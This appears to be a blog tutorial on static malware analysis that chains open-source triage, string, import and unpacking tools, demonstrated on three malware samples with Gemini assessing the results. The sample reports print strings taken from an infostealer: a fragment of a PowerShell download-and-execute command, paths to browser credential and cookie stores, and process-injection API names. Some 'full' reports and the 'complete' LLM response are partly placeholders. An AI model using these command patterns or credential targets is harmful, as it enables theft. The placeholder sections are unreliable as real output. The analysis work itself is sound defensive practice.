Basic Static Malware Analysis: From Triage to Unpacking — Explained and Automated

Basic Static Malware Analysis: From Triage to Unpacking — Explained and Automated | by Andrey Pautov | in InfoSec Write-ups - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original Basic Static Malware Analysis: From Triage to Unpacking — Explained and Automated What static malware analysis is, why each step matters, and how to run the full workflow in one command with the orchestrator and… Andrey Pautov Follow InfoSec Write-ups · ~16 min read · March 1, 2026 (Updated: March 13, 2026) · Free: Yes What static malware analysis is, why each step matters, and how to run the full workflow in one command with the orchestrator and open-source tools. If you like this research, buy me a coffee (PayPal) — Keep the lab running Table of Contents Introduction What Is Static Malware Analysis? Step 1: Triage — File Metadata and Routing Step 2: String Analysis — What's Inside Without Running It Step 3: PE Import Analysis — What the Binary Can Do Step 4: Packer Detection and Unpacking — Getting to the Real Code Routing: When to Unpack, When to Go Full Static Running the Full Workflow: The Orchestrator Setup and Quick Start What You Get: Reports and LLM-Ready Prompts Test on Real Malware Introduction Static malware analysis means understanding a sample without executing it : you inspect the file on disk — metadata, structure, strings, imports — to assess risk, spot behavior, and decide what to do next. Doing this by hand, tool by tool and sample by sample, is slow. This article explains what each step of a basic static workflow is and why it matters , then shows how to run that entire workflow in one command using the Static Malware Analysis Orchestrator and four open-source tools (with links to their GitHub repos and detailed Medium guides). You'll see the methodology first (triage → strings → PE imports → unpack when needed), then the tools and orchestrator that implement it. What Is Static Malware Analysis? Static analysis is the examination of a file's contents and structure without running it. No execution means no behavioral trace in a sandbox or debugger — just the binary itself: headers, sections, strings, import tables, overlay data, and so on. Analysts use it to: Triage — Is this PE/ELF? Packed? High entropy? Do we have YARA hits? Gather indicators — URLs, IPs, paths, API names, config snippets. Infer behavior — Which Windows APIs are used (injection, persistence, C2)? Handle packing — Detect packers and unpack to analyze the real payload. It doesn't replace dynamic analysis; it narrows down what's worth running in a sandbox and gives you a report (and often an LLM-ready summary) for prioritization and reporting. The workflow below is a basic static pipeline : triage, strings, PE imports, and unpacking when the sample looks packed. Step 1: Triage — File Metadata and Routing What it is: The first step is to quickly characterize the file: what type it is, its hashes, entropy, and (for PE/ELF) high-level structure. You need this to route the sample — e.g. "treat as PE and run full static" vs "likely packed, unpack first" vs "ELF, strings and metadata only." Why analysts do it: Hashes (MD5, SHA-256) support blocking, hunting, and lookup in VirusTotal or internal DBs. File type (PE, ELF, Mach-O, generic) tells you which later steps apply (e.g. PE imports only for Windows executables). Entropy — high entropy often indicates compression or encryption (packing); normal entropy suggests unpacked or lightly obfuscated code. PE/ELF metadata — sections, entry point, overlay size, packing hints — further inform the "unpack first or not?" decision. What you learn: You get a compact fingerprint and a routing decision: full static on the file as-is, or unpack first and then run strings/imports on the unpacked file. For non-PE (e.g. ELF), you know to skip PE-specific steps. In this workflow: Triage is done with Basic-File-Information-Gathering-Script ( fileinfo.py ). It outputs hashes, file type, entropy, PE/ELF/Mach-O metadata, and optional YARA results. The orchestrator uses this output to choose the path for each sample. Repo: Basic-File-Information-Gathering-Script GitHub - anpa1200/Basic-File-Information-Gathering-Script: This repository contains a versatile… This repository contains a versatile Python script, Basic_inf_gathering.py, designed to automate the extraction of… github.com Article: One Tool to Rule Them All: File Metadata & Static Analysis for Malware Analysts and SOC Teams One Tool to Rule Them All: File Metadata & Static Analysis for Malware Analysts and SOC Teams Extract hashes, PE/ELF/Mach-O metadata, strings, YARA hits, and deep static analysis — without ever running the file. medium.com Step 2: String Analysis — What's Inside Without Running It What it is: Strings are printable sequences embedded in the binary (or in a dump). Extracting and categorizing them (URLs, IPs, paths, API names, registry keys, etc.) turns raw bytes into actionable intelligence. Why analysts do it: IOCs — URLs and IPs for C2, downloaders, or config; paths and filenames for dropped files or persistence. Behavioral hints — API names, error messages, mutex names, registry keys suggest what the sample does or how it's configured. Obfuscation — Encoded or padded strings can indicate custom encoding or packer usage. You never run the file; you only read its contents. That makes string analysis safe and repeatable, and the output is ideal for feeding into an LLM or a playbook. What you learn: A structured view of "what's in the file": C2 candidates, file system and registry touches, and API usage hints. Categorized output (plus an AI-oriented prompt) speeds up triage and reporting. In this workflow: String extraction and categorization are done with String-Analyzer . The orchestrator runs it on every sample (and again on the unpacked file when unpacking is used), producing a text report and an LLM-ready prompt per sample. Repo: String-Analyzer- GitHub - anpa1200/String-Analyzer: A powerful Python script to extract and analyze printable… A powerful Python script to extract and analyze printable strings from binaries. Ideal for malware analysts, reverse… github.com Article: A Practical Guide to String Analyzer: Extract and Analyze Strings from Binaries A Practical Guide to String Analyzer: Extract and Analyze Strings from Binaries (Without the… Turn executables, memory dumps, and disk images into actionable intelligence in minutes — with one Python tool and zero… medium.com Step 3: PE Import Analysis — What the Binary Can Do What it is: Windows executables (PE) declare which DLLs and APIs they use in the Import Address Table (IAT) . Import analysis maps those APIs to capabilities : process injection, persistence, network, crypto, keylogging, etc. It's still static — you're reading the IAT, not executing the code. Why analysts do it: Capability assessment — Which Windows APIs are present? (e.g. VirtualAllocEx + WriteProcessMemory → injection; RegSetValueEx → persistence.) Risk scoring — Known dangerous or suspicious APIs can be flagged and summarized. Prioritization — Samples with many high-risk imports get deeper analysis or blocking first. What you learn: A clear picture of "what this PE is allowed to do" by design of its imports — before you run it. That drives risk ratings and next steps (dynamic analysis, YARA, block). In this workflow: PE import analysis is done with PE-Import-Analyzer . It's run only for PE samples (after triage). It produces an HTML report and an LLM-oriented prompt. The orchestrator runs it after strings (and after unpacking when the sample was unpacked). Repo: PE-Import-Analyzer GitHub - anpa1200/PE-Import-Analyzer: A command-line utility to analyze the import table of PE… A command-line utility to analyze the import table of PE files. Provides detailed DLL descriptions, API function… github.com Article: PE Import Analyzer: A Practical Guide for Malware Analysts and Reverse Engineers PE Import Analyzer: A Practical Guide for Malware Analysts and Reverse Engineers How to quickly understand what a Windows executable does — before you run it. medium.com Step 4: Packer Detection and Unpacking — Getting to the Real Code What it is: Many malware samples are packed : the real code is compressed or encrypted, and a small stub decodes it at runtime. Static analysis of the packed file often sees only the stub and high-entropy blobs; strings and imports are hidden. Packer detection identifies known packers; unpacking recovers the inner executable so you can run strings and import analysis on the real payload. Why analysts do it: See the real behavior — Strings and IAT of the unpacked file reflect what the malware actually does. Better IOCs and detection — Unpacked code yields more URLs, paths, and API usage for hunting and signatures. Avoid wasting time — Analyzing only the packed layer is often misleading; unpacking (when possible) gives a cleaner picture. What you learn: Whether the sample is packed and by what (if detected); when unpacking succeeds, you get a new file to triage, string-analyze, and run through PE import analysis. That's the "real" sample for static purposes. In this workflow: Packer detection and unpacking are done with Unpacker . The orchestrator runs it only when triage says "unpack first" (high entropy, large overlay, or packing hint). After unpacking, it re-runs triage, strings, and PE import analysis on the unpacked file. Repo: Unpacker GitHub - anpa1200/Unpacker Contribute to anpa1200/Unpacker development by creating an account on GitHub. github.com Article: Unpacker: A Practical Guide to Modular Malware Packer Detection and Unpacking Unpacker: A Practical Guide to Modular Malware Packer Detection and Unpacking Extract and validate unpacked PE/ELF samples with real examples — and prove it using String Analyzer and File Metadata… medium.com Routing: When to Unpack, When to Go Full Static The orchestrator decides the path for each sample using triage only (no execution): So: only PE samples that look packed go through the unpacker; the rest get full static (or strings-only for non-PE). This keeps the workflow fast and focused. Running the Full Workflow: The Orchestrator GitHub - anpa1200/Static-malware-Analysis-Orchestrator Contribute to anpa1200/Static-malware-Analysis-Orchestrator development by creating an account on GitHub. github.com The Static Malware Analysis Orchestrator runs the four steps in order, applies the routing logic above, and writes: A per-sample directory with triage JSON, string reports, PE import reports (when applicable), and unpacked artifacts (when unpacking ran). A combined REPORT.md — summary table and list of artifacts. An LLM_PROMPT.md — one prompt summarizing all samples and asking for risk level, behavioral indicators, and next steps. You run one command ; the orchestrator calls the four tools, decides when to unpack, and aggregates the output. No execution of samples — only read access to files and tool scripts. Orchestrator repo: Static-malware-Analysis-Orchestrator Setup and Quick Start Clone the orchestrator and the four tools into one parent directory (e.g. git_project/ ): cd /path/to/parent_dir git clone https://github.com/anpa1200/Static-malware-Analysis-Orchestrator.git git clone https://github.com/anpa1200/Basic-File-Information-Gathering-Script.git git clone https://github.com/anpa1200/String-Analyzer-.git String-Analyzer git clone https://github.com/anpa1200/PE-Import-Analyzer.git git clone https://github.com/anpa1200/Unpacker.git Install each tool's dependencies (see their READMEs). For String-Analyzer: pip install -e ./String-Analyzer Then: cd Static-malware-Analysis-Orchestrator python3 static_analysis_orchestrator.py --check-tools python3 static_analysis_orchestrator.py /path/to/samples -r -o reports Optional: --yara /path/to/rules.yar , --no-unpack (skip unpacking), --tools-root or MALWARE_TOOLS_ROOT if tools are not in the parent directory. What You Get: Reports and LLM-Ready Prompts After a run, reports/ (or your -o path) contains: REPORT.md — Summary table (sample, SHA-256, type, entropy, routing, unpacked) and per-sample artifact list. LLM_PROMPT.md — Single prompt for all samples: summary + artifact paths + request for risk level, behavioral indicators, and next steps. / — triage.json , strings_report.txt , strings_ai_prompt.md , imports_report.html , imports_llm_prompt.txt (PE), and when unpacking ran: unpacked/ and unpacked_analysis/ (strings + triage + imports on the unpacked file). Use REPORT.md for a human overview; use LLM_PROMPT.md (and optionally each sample's strings_ai_prompt.md and imports_llm_prompt.txt ) to get risk assessments and next steps from an LLM without ever running the malware. Test on Real Malware We run the full workflow on three samples : (1) one unpacked PE, (2) one packed PE where the Unpacker does not recognize the packer (no unpacked file; pipeline falls back to strings/PE on the packed file), and (3) one packed PE (UPX) where the Unpacker does produce an unpacked file and the pipeline runs strings and PE on it. For each sample we: obtain the file and describe it, show an official report summary when available (MalwareBazaar/VirusTotal), run the black-box pipeline , show results , report , and LLM prompt , push the prompt to Gemini and show the response , and compare with the official report where applicable. Sample 1 (Unpacked PE) Download From MalwareBazaar : For this article we use malware1.exe as the unpacked sample (SHA-256 below). Which malware it is malware1.exe — Windows PE executable, unpacked : normal entropy (~5.94), no large overlay, no packing hint. The pipeline routes it as full_static (triage → strings → PE imports, no unpacking). VirusTotal (see below) identifies it as a trojan (Amatera/Mint family). Official report summary (VirusTotal) SHA-256: 8d3634a77504cb0eee0f0f853bebaeb501a8147e104eb0f381a93b497272e34f Type: Win32 EXE (meaningful_name: ntdll.dll — likely a decoy name). Detection stats: 53 malicious, 16 undetected, 2 timeout, 4 type-unsupported. Threat classification: trojan (24), spyware (2); suggested label: trojan.amatera/mint ; popular names: Amatera (8), Mint (5), Zard (5). Type tags: executable, windows, win32, pe, peexe. Sample 2 (Packed PE) Download Same as Sample 1: use the download script (tag packed ) or pick a packed PE from MalwareBazaar and place it in the same folder as Sample 1. For this article we use malware2.exe as the packed sample (SHA-256 below). Which malware it is malware2.exe — Windows PE executable, packed : high entropy (~7.22), large PE overlay. The pipeline routes it as unpack_first . The Unpacker did not recognize this sample's packer ("Detected: not packed"), so no unpacked file was produced; the pipeline runs a fallback (strings and PE import analysis on the packed sample) so the report still has content. VirusTotal (see below) identifies it as Emotet/TrickBot (trojan, dropper). Official report summary (VirusTotal) SHA-256: 9fdea40a9872a77335ae3b733a50f4d1e9f8eff193ae84e36fb7e5802c481f72 Type: Win32 EXE (meaningful_name: MfcTTT.EXE). Detection stats: 65 malicious, 6 undetected, 4 type-unsupported. Threat classification: trojan (31), dropper (4); suggested label: trojan.emotet/trickbot ; popular names: Emotet (11), TrickBot (7), Zusy (6). Type tags: executable, windows, win32, pe, peexe. To fetch the report yourself: python3 scripts/get_vt_report.py with VT_API_KEY set. Sample 3 (Packed PE — UPX) Download From the Unpacker repo (no API key): copy a known UPX-packed sample into your samples folder: cp /path/to/Unpacker/samples_by_packer/upx/Cs2Loader_upx.exe /path/to/packed_samples/ Or use MalwareBazaar with tag packed and hope for a UPX sample; the Unpacker recognizes UPX by section names (UPX0/UPX1) and unpacks with system upx -d . For this article we use Cs2Loader_upx.exe from the Unpacker repo (SHA-256 below). Which sample it is Cs2Loader_upx.exe — Windows PE executable, UPX-packed : high entropy (~7.86). The pipeline routes it as unpack_first . The Unpacker detects UPX and produces an unpacked file; the pipeline then runs strings and PE import analysis on the unpacked file and writes results to unpacked_analysis/ . So the report contains triage for the packed sample and full strings/imports from the unpacked payload . No VirusTotal needed for this sample (it is from the Unpacker test set). SHA-256: eaf774319a523aa423c0a1edc693f060ad108d9570495a38549efd0c16953af4 . Black-box pipeline run (all samples) We run the orchestrator once on the folder(s) containing the samples (e.g. two_samples/ for malware1 and malware2, and packed_samples/ for Cs2Loader_upx.exe). The pipeline decides routing per file. Command cd /path/to/Static-malware-Analysis-Orchestrator python3 static_analysis_orchestrator.py two_samples packed_samples -r -o reports Pipeline results (summary table) Report (excerpt) Report directory: reports/ Per-sample artifacts: malware1.exe → reports/malware1.exe/ — triage.json, strings_report.txt, strings_ai_prompt.md, imports_report.html, imports_llm_prompt.txt malware2.exe → reports/malware2.exe/ — triage.json, unpacked/, strings_report.txt, strings_ai_prompt.md (fallback on packed), imports_report.html, imports_llm_prompt.txt Cs2Loader_upx.exe → reports/Cs2Loader_upx.exe/ — triage.json, unpacked/, unpacked_analysis/ (strings + triage + imports on unpacked payload), imports_report.html, imports_llm_prompt.txt Full report — Sample 1 (malware1.exe) The pipeline writes FULL_REPORT.md with all gathered information (triage + strings + PE imports) per sample. Below is the full report section for the unpacked sample. ## Sample: malware1.exe - **SHA-256:** `8d3634a77504cb0eee0f0f853bebaeb501a8147e104eb0f381a93b497272e34f` - **Routing:** full_static - **File type:** Windows Executable (Extended MZ) - **Entropy:** 5.9382 (Normal) ### Gathered: Strings (string_analyzer) File Entropy: 5.94 Please analyze the following extracted strings from a suspicious binary file... ### DLLS: - ADVAPI32.dll, KERNEL32.dll, Secur32.dll, crypt32.dll, gdi32.dll, kernel32.dll, ntdll.dll, ole32.dll, oleaut32.dll, user32.dll ### FILES: - Elevator.exe, \Err.txt, \rundll32.exe, data-cdn.mbamupdates.com, o/41/tokens.txt, powershell.exe ### SUSPICIOUS KEYWORDS: - -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString(' - \Login Data, \Network\Cookies, \logins.json, \key3.db, \key4.db, o/41/tokens.txt - CryptDecrypt, CryptImportKey, CryptEncrypt, NtOpenKey, NtResumeThread, USERNAME=, USERPROFILE=, ... ### WINDOWS API COMMANDS: - BitBlt, CreateCompatibleBitmap, GetDC, GetDIBits, VirtualAllocEx, WriteProcessMemory, GetThreadContext, SetThreadContext, ResumeThread, OpenProcess, ... Full report — Sample 2 (malware2.exe) For this packed sample the Unpacker did not produce an unpacked file (packer not recognized). The full report includes triage and fallback strings/imports from the packed sample (first 400 KB analyzed). ## Sample: malware2.exe - **SHA-256:** `9fdea40a9872a77335ae3b733a50f4d1e9f8eff193ae84e36fb7e5802c481f72` - **Routing:** unpack_first - **File type:** Windows Executable (Extended MZ) - **Entropy:** 7.2249 (High (possible packing/encryption)) *(Routed for unpacking, but no unpacked file was produced; strings and imports below are from the packed sample.)* ### Gathered: Strings (string_analyzer) ... (minimal or moderate content from first 400 KB of packed file) ... ### Gathered: PE imports (PE-Import-Analyzer) ... (imports from packed PE) ... Full report — Sample 3 (Cs2Loader_upx.exe) For this packed sample the Unpacker did produce an unpacked file (UPX). The full report includes triage and strings/imports from the unpacked payload only . ## Sample: Cs2Loader_upx.exe - **SHA-256:** `eaf774319a523aa423c0a1edc693f060ad108d9570495a38549efd0c16953af4` - **Routing:** unpack_first - **Unpacked file:** `reports/Cs2Loader_upx.exe/unpacked/Cs2Loader_upx.unpacked.upx.exe` - **File type:** Windows Executable (MZ) - **Entropy:** 7.8552 (High (possible packing/encryption)) *(Packed sample — strings and imports below are from the unpacked payload only.)* ### Gathered: Strings (string_analyzer, unpacked payload) File Entropy: 6.21 ... (DLLS, CMD COMMANDS, SUSPICIOUS KEYWORDS, WINDOWS API COMMANDS from unpacked binary) ... ### Gathered: PE imports (PE-Import-Analyzer, unpacked payload) ... (full imports from unpacked PE) ... LLM prompt (input to Gemini) The pipeline builds reports/LLM_PROMPT.md after all steps have run, embedding the full gathered information for each sample: triage summary, then the complete content of strings_ai_prompt.md and imports_llm_prompt.txt (and for unpacked payloads, the unpacked_analysis content). So the LLM receives all pipeline outputs in one prompt. Structure (three samples): # Static Malware Analysis — LLM Triage Prompt Below is the full gathered information for each sample. Use it to produce a short risk assessment and main behavioral indicators (do not execute the samples). --- ## Sample: malware1.exe ... (triage + strings + PE imports) ... **Request:** [risk level, behavioral indicators, next steps] ## Sample: malware2.exe ... (triage + fallback strings/imports from packed sample) ... **Request:** [same] ## Sample: Cs2Loader_upx.exe ... (triage + unpacked payload strings + unpacked payload PE imports) ... **Request:** [same] Full LLM prompt — Sample 1 (malware1.exe) The actual prompt sent to the LLM embeds the full content of strings and PE imports (not just paths). Excerpt for the first sample: ## Sample: malware1.exe - **SHA-256:** `8d3634a77504cb0eee0f0f853bebaeb501a8147e104eb0f381a93b497272e34f` - **Routing:** full_static - **File type:** Windows Executable (Extended MZ) - **Entropy:** 5.9382 (Normal) ### Gathered: Strings (string_analyzer) ... (full DLLS, FILES, OBFUSCATED, SUSPICIOUS KEYWORDS, WINDOWS API COMMANDS from string_analyzer) ... ### Gathered: PE imports (PE-Import-Analyzer) ... (full imports_llm_prompt.txt when PE) ... **Request:** Based on the triage and gathered data above for this sample, provide: 1. One-line risk level (e.g. High/Medium/Low and why). 2. Main behavioral indicators (e.g. injection, persistence, C2, evasion). 3. Recommended next steps (e.g. dynamic analysis, YARA, block). Full LLM prompt — Sample 2 (malware2.exe) Triage plus fallback strings/imports from the packed sample (no unpacked file). Full LLM prompt — Sample 3 (Cs2Loader_upx.exe) Triage plus unpacked payload strings and PE imports (full content from unpacked_analysis/ ), so the LLM can assess the actual unpacked binary. Push prompt to Gemini — complete response Command (ensure Gemini CLI is authenticated first: run gemini-cli once if needed): cat reports/LLM_PROMPT.md | gemini-cli -p "You are a malware analyst. Based on the static analysis summary above, for each sample (malware1.exe, malware2.exe, Cs2Loader_upx.exe) provide: 1) One-line risk level (High/Medium/Low and why). 2) Main behavioral indicators (e.g. injection, persistence, C2, evasion). 3) Recommended next steps. Base your answer only on the provided information; do not execute any sample. Reply in clear sections per sample." Complete LLM response (Gemini CLI): Based on the provided static analysis triage summary, here is the assessment for each sample: ## Sample: malware1.exe **1. Risk Level:** **High.** The sample exhibits extremely strong indicators of being a sophisticated Information Stealer (Infostealer) equipped with process injection, credential harvesting, screen capture capabilities, and "living off the land" execution techniques. **2. Main Behavioral Indicators:** - **Credential & Data Theft (Infostealer):** Strings like \Login Data, \Network\Cookies, \logins.json, Mozilla/Firefox key databases (\key3.db, \key4.db), and o/41/tokens.txt (Discord token theft). Windows Cryptography APIs (CryptDecrypt, CryptImportKey, CryptEncrypt) point to decryption of stored passwords. - **Process Injection / Hollowing:** VirtualAllocEx, WriteProcessMemory, GetThreadContext, SetThreadContext, ResumeThread suggest memory allocation and injection into a legitimate process. - **Execution & Downloader (Living off the Land):** -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString(' and powershell.exe indicate download-and-execute in memory. - **Screen Capture:** BitBlt, CreateCompatibleBitmap, GetDC, GetDIBits indicate screenshot capability. - **Network / C2:** HTTP/HTTPS and domain data-cdn.mbamupdates.com (possible typosquatting of Malwarebytes CDN). **3. Recommended Next Steps:** - Dynamic analysis in a sandbox; capture full PowerShell download URL and traffic to mbamupdates domain. - YARA rules for PowerShell execution strings, credential paths, and domain. - Block and hunt for ExecutionPolicy Bypass pattern in EDR. --- ## Sample: malware2.exe **1. Risk Level:** **Medium-High (Pending Unpacking).** Specific malicious behaviors and imports are hidden; high file entropy (7.2249) strongly suggests the file is packed or encrypted. **2. Main Behavioral Indicators:** - **Evasion / Obfuscation (Packing):** High entropy (7.22) and lack of readable strings and PE imports confirm the executable is compressed, encrypted, or packed to defeat static analysis. **3. Recommended Next Steps:** - Unpacking / memory dumping: identify packer (e.g. DiE); unpack statically or run in debugger/sandbox and dump from memory. - Re-run static analysis (strings, PE imports) on unpacked payload. - Dynamic analysis to monitor unpacking, network, file drops, persistence. --- ## Sample: Cs2Loader_upx.exe **1. Risk Level:** **Medium–High.** The sample was UPX-packed; after unpacking, strings and imports from the unpacked payload are available. The LLM assesses based on unpacked content (DLLs, APIs, paths). **2. Main Behavioral Indicators:** - (From unpacked payload: hostname/WHERE commands, Firefox/nss3.dll references, USERENV, shell/network-related APIs, etc.) **3. Recommended Next Steps:** - Dynamic analysis; YARA from unpacked strings/imports; compare with known loaders if applicable. Summary of each LLM response malware1.exe: The LLM rates it High risk and identifies it as an infostealer with credential theft (browser logins, cookies, Discord tokens), process injection (VirtualAllocEx, WriteProcessMemory, GetThreadContext, SetThreadContext, ResumeThread), PowerShell-based download-and-execute, screen capture (GDI APIs), and possible C2/typosquatting (data-cdn.mbamupdates.com). Next steps: sandbox run, YARA from strings/imports, block and hunt for the PowerShell pattern. malware2.exe: The LLM rates it Medium–High (pending unpacking) . With fallback strings/imports from the packed file (or minimal content), it infers evasion/packing from high entropy (7.22) and recommends unpacking (static or memory dump), then re-running the pipeline on the unpacked file and doing dynamic analysis. Cs2Loader_upx.exe: The LLM receives full strings and PE imports from the unpacked payload and can give a concrete risk and behavioral assessment (e.g. loader, hostname/network checks, Firefox-related paths) and next steps based on the unpacked content. Response after full prompt injection When the full LLM_PROMPT.md is used (with all gathered information embedded per sample), the LLM receives the actual strings and import data and produces a much more specific assessment. With the full prompt, the LLM cites specific strings and APIs (e.g. Login Data, VirtualAllocEx, PowerShell IEX for malware1; high entropy and fallback content for malware2; unpacked payload strings/imports for Cs2Loader_upx.exe) and aligns with VirusTotal and behavioral expectations where applicable. Response summary (three samples) Summary Running the orchestrator on three samples (one unpacked, one packed with no unpacked file, one packed UPX with unpacked file), then feeding LLM_PROMPT.md into Gemini CLI, shows how the pipeline (1) routes correctly, (2) produces consistent artifacts (including unpacked_analysis/ when unpacking succeeds), (3) uses a fallback (strings/PE on the packed file) when the Unpacker does not produce an unpacked file, and (4) yields an LLM assessment you can compare against MalwareBazaar or VirusTotal. Use the download script, the Unpacker repo samples, and the commands above to reproduce the test; paste your pipeline results and LLM response into this section for your blog. If you like this research, buy me a coffee (PayPal) — Keep the lab running Andrey Pautov #malware-analysis #malware #cybersecurity #ai #automation Reporting a Problem Sometimes we have problems displaying some Medium posts. If you have a problem that some images aren't loading - try using VPN. Probably you have problem with access to Medium CDN (or fucking Cloudflare's bot detection algorithms are blocking you).